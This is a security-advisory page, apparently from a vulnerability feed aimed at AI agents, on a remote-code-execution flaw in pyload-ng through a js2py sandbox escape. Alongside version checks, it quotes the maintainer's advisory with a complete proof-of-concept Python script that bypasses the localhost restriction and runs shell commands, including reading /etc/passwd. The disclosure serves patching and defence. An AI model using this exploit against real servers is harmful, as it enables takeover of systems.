---
id: "CVE-2024-39205"
page: "https://infrastack.ai/live/CVE-2024-39205"
kind: "vulnerability"
aliases: ["CVE-2024-39205", "GHSA-r9pp-r4xf-597r"]
title: "pyload-ng vulnerable to RCE with js2py sandbox escape"
severity: "critical"
cvss: 9.8
epss: 0.16538
exploited: false
status: "open"
category: "package"
products: [{"name": "pyload-ng", "fixed": [], "affected": "<= 0.5.0b3.dev85", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-94", "package", "pyload-ng", "python", "self-hosted"]
not_affected_if: ["not-running-pyload-ng", "python-3.12-or-above"]
published_at: "2024-09-09T18:17:20+00:00"
first_seen_at: "2026-11-16T16:08:26+00:00"
updated_at: "2026-11-16T16:08:53+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-r9pp-r4xf-597r", "first_seen_at": "2026-11-16T16:08:26+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39205", "first_seen_at": "2026-11-16T16:38:06+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.16538, "url": "https://api.first.org/data/v1/epss?cve=CVE-2024-39205"}]
---

# pyload-ng vulnerable to RCE with js2py sandbox escape

Link for people: https://infrastack.ai/live/CVE-2024-39205 (this .md is for agents)

pyload-ng passes requests to a js2py sandbox on its /flash/addcrypted2 endpoint, and js2py can be escaped to reach Python's subprocess module. An attacker who can reach the endpoint can run any shell command on the server.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pyload-ng affected <= 0.5.0b3.dev85 fixed no fixed version listed

## How to check

- Check the Python version the server runs: `python3 --version`; the advisory says the flaw applies to Python 3.11 and below.
- Check the installed pyload-ng version: `pip show pyload-ng`; versions up to and including `0.5.0b3.dev85` are affected.
- Confirm whether the js2py dependency is present in the environment.

## Timeline

- 2026-11-16T16:08:26+00:00 ghsa https://github.com/advisories/GHSA-r9pp-r4xf-597r
- 2026-11-16T16:38:06+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2024-39205

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/pyload/pyload/security-advisories/GHSA-r9pp-r4xf-597r
- [advisory] Maintainer's advisory: github.com https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r

## From the sources

### Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

### Details
js2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
 
### PoC

The PoC is provided as `poc.py` below, you can modify the shell command it execute:

```python
import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


```

### Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
